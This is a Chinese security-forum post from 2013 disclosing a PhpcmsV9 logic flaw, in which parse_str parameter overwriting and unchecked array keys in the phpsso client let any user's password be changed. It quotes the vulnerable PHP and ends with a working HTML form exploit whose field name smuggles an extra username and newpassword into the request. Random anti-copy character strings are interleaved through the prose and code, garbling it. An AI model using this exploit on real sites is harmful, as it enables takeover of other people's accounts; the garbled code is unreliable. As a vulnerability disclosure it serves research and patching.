找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1917|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
% R* n7 S, ~) l2 o
; ]$ F. J: z0 V2 B$ x7 D( m/ I: G3 u& y' }+ Z' T' `* U
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" C4 b! H" ^& f+ f0 H1 w5 x
# k3 A8 v8 r9 `% u2 ^2 A: `- Z在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。2 e0 c! R3 c4 W2 ?" }% E
) W3 w' R, u: q) z
我把它留给了你们。. i- A2 E, Y) u. @+ ]5 \- e
不知道你们发现了它没有。8 {- @/ }: p3 c' d3 Q) u6 C  }
) a  k8 `0 i- V
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
$ o- `, O2 v+ I$ L6 I' P. F
2 ?; U) E7 f$ n5 R6 {7 t4 \' P所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* a) J8 ?3 M( F9 p
/ w4 C  }  a9 w7 {& X" B也就是- r3 }, L# ~- g) J

- v) L& m* w6 p; w" H: _" Vusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。; g" C4 w1 r' g/ A4 T( X$ G
6 J6 }% s4 {$ j! W
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
$ X( u" e1 z9 |
5 O8 |1 z- O2 J* E, V/ N7 |6 F  w7 O, d, d
其实我们有这样的机会,看看代码,如下:
2 Q7 Q. m9 A1 L$ F' H2 {0 N  |- m/ @9 A7 r3 m

! I/ f3 m/ z* ]public function auth_data($data) {
. S) X. M2 R) r; s$ v  S0 n9 ?# Y                $s = $sep = '';; r4 L7 g$ i" S4 p
                foreach($data as $k => $v) {  L8 a6 J! s/ H1 o
                        if(is_array($v)) {2 ?' B+ \  d: j" P" E5 a
                                $s2 = $sep2 = '';9 l7 {0 D. K4 I" w, t8 ], ]
                                foreach($v as $k2 => $v2) {# Q  [3 [7 w: ?: i% k
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);4 z; a, N6 w, s6 ?
                                        $sep2 = '&';! E+ S2 U5 y2 B' @  @
                                }
+ ?( o$ v  x' h! Y& [. Q# L                                $s .= $sep.$s2;
- y. ]) Q1 {' M% J+ e- Z                        } else {' H' S! I( J' \7 R9 W+ K
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
" _8 I0 B, D) [* ~: {, V                        }& j6 g( b1 c4 B! x+ Y: \
                        $sep = '&';
8 ]: g% L6 y3 J! N) d/ F' J                }$ D0 N6 p. \. |! U- I2 J* O0 {
/ l0 g) T' }7 C$ }
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 v3 ?+ w8 I) G6 U                return $auth_s;
; U2 K! T7 \  b7 @( m! a8 h        }4 H/ V- D: u3 O$ ?# q- o

0 K3 ]3 `( E0 a% X' Y, W可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。& k- s9 o2 H) c' @; v
) h" P3 F2 G# A+ Y* y( V5 m0 c
举个例子
, ?5 }- W3 h; S. a: H: u# u- L! W8 I) g( {! j* o
$a[aaa=a&bbb] = 'a';
$ D4 a; [- H$ r' U; r( B% U, D3 Y/ t7 H1 N; W, h1 f0 n' Y( ]6 _
会变成aaa=a&bbb=a
: d6 ^4 E1 V  e! k' h* o2 k
$ \, [/ Z! R8 x/ S8 y9 c0 V明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。" Q2 X6 B; y. Y
0 e# L7 b9 v) c! g3 O
这个时候,我们可以再去看一个函数。3 L0 ]2 k& u7 h+ W

5 l. u7 k& V! o, T8 G就在这个文件内:
, O. ?0 d  C! F; n# x' B
5 O! d* ~1 ]' P1 _* \4 n! {4 [, t
* }3 |* U+ B% M  e/ X4 x" ?public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {. T: ]: V- d. K" K+ f4 f8 B
                if($email && !$this->_is_email($email)) {( y, e# V! ?0 Z4 G
                        return -4;
' S% j/ e: }2 X* q$ t3 F6 Q- M                }% i8 a  X4 F0 J- ^2 P$ y# F
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));3 L& M) U, e4 C
        }
! t3 @3 }8 n/ g; L- A0 ^, e; [/ L/ ^" M
这是向通行证发了这样一个请求。
: E/ ^% h; \. J' ?# w! J% L, i) M" K  I& F" [
我们再跟到通信证代码里去看看,就会有所发现。* W3 \* F7 r& C* P

' t, _9 m8 r: j/ K7 P- T) R  w, h( L% A$ N7 J& f' U
public function edit() {8 f- Y7 k/ S6 r5 Z7 b  |
//能省就省,太长了不是吗?
4 w$ U- b  U+ M! q4 R% f& R
8 i1 Z) W( M# J& p  Q( g- t4 lif($this->username) {( [6 \- [2 k$ V, ^6 j' w: Q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 p$ _0 `6 d/ @* b                                $res = $this->db->update($data, array('username'=>$this->username));
0 a6 k$ e% p' z# R+ ]0 d: i                        } else {/ F- O& s+ m* T
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);' l5 R5 t! x2 }3 w
                                $res = $this->db->update($data, array('uid'=>$this->uid));$ h4 j& E# @$ `( x
                        }4 c9 Y8 g0 l! `% d* j

% Y) s4 L1 T. P好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:& b- t: c& W& ]0 Y& O; Q
0 L' f( u9 p8 o: g4 w
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')  _/ P  o, s) u6 ?* V$ v6 d3 F

2 [  ]2 G0 i5 a+ }, U! G8 p" W很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: d9 S  O3 O' \! f) E; B- X+ `  A! Q! ]9 W9 X
我当然找到了:9 n5 @* x9 R' }  U
phpcms9/phpcms/modules/member/index.php6 c: o0 y' p3 V( Q. o/ T  J

2 Z/ a! c* ]) P  D$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);$ S  N+ t2 ]7 a" J
+ c6 r+ K+ A7 w
然后就没有然后了。
3 }; ?- C% E+ E$ N
( B* s# X3 ~: O; J<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
& W9 m1 ]& y6 k$ N+ t% \/ B6 B                                <table width="100%" cellspacing="0" class="table_form">% a6 [+ x' ^5 Z) W; T
                                        <tr>: K% f) _+ V" x( F! D* M+ @
                                                <th width="80">邮箱:</th>        
7 T2 N- X3 D, A! r7 l9 M# Z- }0 q; v                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 b5 o6 @6 q# i0 q2 v) X* G                                        </tr>; s+ t0 \6 \  X+ k
                                        <tr>* H. X0 u/ G) P( U/ N2 G2 a
                                                <th width="80">原密码:</th>        
/ t( A! R; @/ J6 D: W1 j3 b$ h1 g                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
/ k' z/ h$ S# l' \* G3 h- h                                        </tr>
- X9 _3 h. S6 @) v. u/ k                                        <tr>; M2 r$ s" L( h( N
                                                <th>新密码:</th>
& R# d" R" ]4 D+ s# K                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>0 n# Y# J7 L3 H$ P  E0 _, f/ ~
                                        </tr>  _# V, R+ Q) j0 r
                                        <th></th>/ a' H  v8 K5 }% M- L) T) M
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
1 [$ `, g4 x* b1 d                                        </tr>) @: T8 P3 ^* K+ h0 |+ Y) b
                                </table>
/ N. ~, V2 D& y" ?! [! g4 ^1 `% m7 z6 q, [
                               
9 z( b3 I/ X' b( [) Q- M9 F                        </form>6 X; V& b- V# Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表